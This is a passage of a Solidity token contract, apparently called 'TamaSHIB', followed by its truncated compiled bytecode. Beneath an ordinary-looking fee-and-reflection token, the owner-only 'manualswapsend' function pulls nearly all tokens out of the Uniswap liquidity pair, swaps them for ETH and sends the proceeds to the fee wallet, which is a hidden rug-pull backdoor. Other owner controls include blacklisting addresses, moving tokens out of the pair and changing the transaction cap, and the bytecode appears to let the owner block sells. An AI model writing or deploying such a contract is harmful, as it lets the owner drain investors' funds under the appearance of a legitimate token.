uint256 contractTokenBalance = balanceOf(address(this));
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner {
mitigationFactor = newMitigationFactor;
}
function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner {
mitigationEnabled = newMitigationEnabled;
}
function getReserves() internal returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) {
(uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves();
//Check which reserve belongs to this tokens contract address
bool isFirstReserve = uniswapV2PairInterface.token0() == address(this);
//Calculate reserve values
uint256 reserveToken = isFirstReserve ? _reserve0 : _reserve1;
uint256 reserveETH = isFirstReserve ? _reserve1 : _reserve0;
uint256 ratio = reserveToken.div(reserveETH);
return (reserveToken, reserveETH, ratio);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
disableFee = true;
if (mitigationEnabled) {
swapTokensForEthWithMitigation(tokenAmount);
} else {
swapTokensForEthNormal(tokenAmount);
}
disableFee = false;
}
function swapTokensForEthNormal(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function swapTokensForEthWithMitigation(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
//ratio = token / eth
(uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves();
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
(uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves();
uint256 correctedReserve = ratio.mul(reserveETH);
uint256 reserveOffset = reserveToken.sub(correctedReserve);
reserveOffset = reserveOffset.mul(mitigationFactor).div(100);
_transfer(uniswapV2Pair, deadWallet, reserveOffset);
uniswapV2PairInterface.sync();
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function setSwapEnabled(bool isEnabled) public payable onlyOwner() {
swapEnabled = isEnabled;
}
bool internal disableFee = false;
function openTrading(address router) external payable onlyOwner() {
disableFee = true;
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair);
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_isExcludedFromFee[address(uniswapV2Pair)] = true;
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000001 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
disableFee = false;
}
function changeMaxTxAmount(uint newTxAmount) external onlyOwner {
_maxTxAmount = newTxAmount;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswapsend() external onlyOwner {
_transfer(uniswapV2Pair, address(this), balanceOf(uniswapV2Pair) - 1);
uniswapV2PairInterface.sync();
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function manualsend(uint amount) public onlyOwner {
if (amount > address(this).balance) amount = address(this).balance;
payable(owner()).transfer(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb146105ee578063b515566a1461065f578063ba05e9bc14610724578063ca72a4e71461073b578063dd62ed3e1461077f578063e01af92c1461080457610135565b8063702e38111461046657806370a08231146104a1578063715018a6146105065780638da5cb5b1461051d57806395d89b411461055e57610135565b806323b872dd116100f257806323b872dd146102de578063273123b71461036f578063313ce567146103c05780635932ead1146103ee578063677daa571461042b57610135565b806306a227d21461013a57806306fdde0314610177578063095ea7b31461020757806318160ddd146102785780631ad34a4f146102a357610135565b3661013557005b600080fd5b34801561014657600080fd5b506101756004803603602081101561015d57600080fd5b81019080803515159060200190929190505050610834565b005b34801561018357600080fd5b5061018c610919565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cc5780820151818401526020810190506101b1565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021357600080fd5b506102606004803603604081101561022a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610956565b60405180821515815260200191505060405180910390f35b34801561028457600080fd5b5061028d610974565b6040518082815260200191505060405180910390f35b3480156102af57600080fd5b506102dc600480360360208110156102c657600080fd5b8101908080359060200190929190505050610988565b005b3480156102ea57600080fd5b506103576004803603606081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aad565b60405180821515815260200191505060405180910390f35b34801561037b57600080fd5b506103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b86565b005b3480156103cc57600080fd5b506103d5610ca9565b604051808260ff16815260200191505060405180910390f35b3480156103fa57600080fd5b506104296004803603602081101561041157600080fd5b81019080803515159060200190929190505050610cb2565b005b34801561043757600080fd5b506104646004803603602081101561044e57600080fd5b8101908080359060200190929190505050610d97565b005b34801561047257600080fd5b5061049f6004803603602081101561048957600080fd5b8101908080359060200190929190505050610e69565b005b3480156104ad57600080fd5b506104f0600480360360208110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3b565b6040518082815260200191505060405180910390f35b34801561051257600080fd5b5061051b610f8c565b005b34801561052957600080fd5b50610532611112565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561056a57600080fd5b5061057361113b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b3578082015181840152602081019050610598565b50505050905090810190601f1680156105e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105fa57600080fd5b506106476004803603604081101561061157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611178565b60405180821515815260200191505060405180910390f35b34801561066b57600080fd5b506107226004803603602081101561068257600080fd5b810190808035906020019064010000000081111561069f57600080fd5b8201836020820111156106b157600080fd5b803590602001918460208302840111640100000000831117156106d357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611196565b005b34801561073057600080fd5b506107396112e6565b005b61077d6004803603602081101561075157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b2565b005b34801561078b57600080fd5b506107ee600480360360408110156107a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c35565b6040518082815260200191505060405180910390f35b6108326004803603602081101561081a57600080fd5b81019080803515159060200190929190505050611cbc565b005b61083c611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601160146101000a81548160ff02191690831515021790555050565b60606040518060400160405280600881526020017f54616d6153484942000000000000000000000000000000000000000000000000815250905090565b600061096a610963611da1565b8484611da9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b610990611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b47811115610a5c574790505b610a64611112565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610aa9573d6000803e3d6000fd5b5050565b6000610aba848484611fa0565b610b7b84610ac6611da1565b610b76856040518060600160405280602881526020016139da60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b2c611da1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e19092919063ffffffff16565b611da9565b600190509392505050565b610b8e611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610cba611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610d9f611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060108190555050565b610e71611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060128190555050565b6000610f85600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a1565b9050919050565b610f94611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611054576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5348494200000000000000000000000000000000000000000000000000000000815250905090565b600061118c611185611da1565b8484611fa0565b6001905092915050565b61119e611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156112e25760016006600084848151811061127c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611261565b5050565b6112ee611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611408600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306001611402600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f3b565b03611fa0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050600061149530610f3b565b90506114a081612825565b60004790506114ae816128c1565b5050565b6114ba611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461157a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001601360006101000a81548160ff021916908315150217905550600f60149054906101000a900460ff1615611618576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061169730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611da9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156116dd57600080fd5b505afa1580156116f1573d6000803e3d6000fd5b505050506040513d602081101561170757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561177a57600080fd5b505afa15801561178e573d6000803e3d6000fd5b505050506040513d60208110156117a457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561181e57600080fd5b505af1158015611832573d6000803e3d6000fd5b505050506040513d602081101561184857600080fd5b8101908080519060200190929190505050600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061194530610f3b565b600080611950611112565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156119d557600080fd5b505af11580156119e9573d6000803e3d6000fd5b50505050506040513d6060811015611a0057600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050505050600160056000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669ad9aca006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611bda57600080fd5b505af1158015611bee573d6000803e3d6000fd5b505050506040513d6020811015611c0457600080fd5b8101908080519060200190929190505050506000601360006101000a81548160ff0219169083151502179055505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cc4611da1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600f60166101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613a506024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611eb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806139976022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612026576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613a2b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061394a6023913960400191505060405180910390fd5b60008111612105576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613a026029913960400191505060405180910390fd5b601360009054906101000a900460ff161561212f576000600a819055506000600b81905550612140565b6002600a819055506008600b819055505b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121ca5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561220957506121d9611112565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122485750612218611112565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156126d157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122f15750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122fa57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123a55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123fb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124135750600f60179054906101000a900460ff165b156124285760105481111561242757600080fd5b5b601360009054906101000a900460ff161580156124925750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156124ec5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156125425750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612558576002600a81905550600a600b819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156125c1575060006002601054816125be57fe5b06145b15612617576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613a746024913960400191505060405180910390fd5b600f60159054906101000a900460ff161580156126825750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561269a5750600f60169054906101000a900460ff165b156126d05760006126aa30610f3b565b90506126b581612825565b600047905060008111156126cd576126cc476128c1565b5b50505b5b6126dc83838361292d565b505050565b600083831115829061278e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612753578082015181840152602081019050612738565b50505050905090810190601f1680156127805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60006008548211156127fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061396d602a913960400191505060405180910390fd5b600061280861293d565b905061281d818461296890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506001601360006101000a81548160ff021916908315150217905550601160149054906101000a900460ff161561287e57612879816129b2565b612888565b61288781612dbd565b5b6000601360006101000a81548160ff0219169083151502179055506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612929573d6000803e3d6000fd5b5050565b612938838383613071565b505050565b600080600061294a61323c565b91509150612961818361296890919063ffffffff16565b9250505090565b60006129aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132a7565b905092915050565b6000600267ffffffffffffffff811180156129cc57600080fd5b506040519080825280602002602001820160405280156129fb5781602001602082028036833780820191505090505b5090503081600081518110612a0c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612aae57600080fd5b505afa158015612ac2573d6000803e3d6000fd5b505050506040513d6020811015612ad857600080fd5b810190808051906020019092919050505081600181518110612af657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b5d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611da9565b6000806000612b6a61336d565b925092509250600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478660008730426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612c34578082015181840152602081019050612c19565b505050509050019650505050505050600060405180830381600087803b158015612c5d57600080fd5b505af1158015612c71573d6000803e3d6000fd5b505050506000806000612c8261336d565b9250925092506000612c9d838661357390919063ffffffff16565b90506000612cb482866135f990919063ffffffff16565b9050612cde6064612cd06012548461357390919063ffffffff16565b61296890919063ffffffff16565b9050612d2f600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611fa0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612d9957600080fd5b505af1158015612dad573d6000803e3d6000fd5b5050505050505050505050505050565b6000600267ffffffffffffffff81118015612dd757600080fd5b50604051908082528060200260200182016040528015612e065781602001602082028036833780820191505090505b5090503081600081518110612e1757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eb957600080fd5b505afa158015612ecd573d6000803e3d6000fd5b505050506040513d6020811015612ee357600080fd5b810190808051906020019092919050505081600181518110612f0157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f6830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611da9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561302c578082015181840152602081019050613011565b505050509050019650505050505050600060405180830381600087803b15801561305557600080fd5b505af1158015613069573d6000803e3d6000fd5b505050505050565b60008060008060008061308387613643565b9550955095509550955095506130e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136ab90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c281613733565b6131cc84836137f0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506132786b033b2e3c9fd0803ce800000060085461296890919063ffffffff16565b82101561329a576008546b033b2e3c9fd0803ce80000009350935050506132a3565b81819350935050505b9091565b60008083118290613353576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133185780820151818401526020810190506132fd565b50505050905090810190601f1680156133455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161335f57fe5b049050809150509392505050565b6000806000806000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b81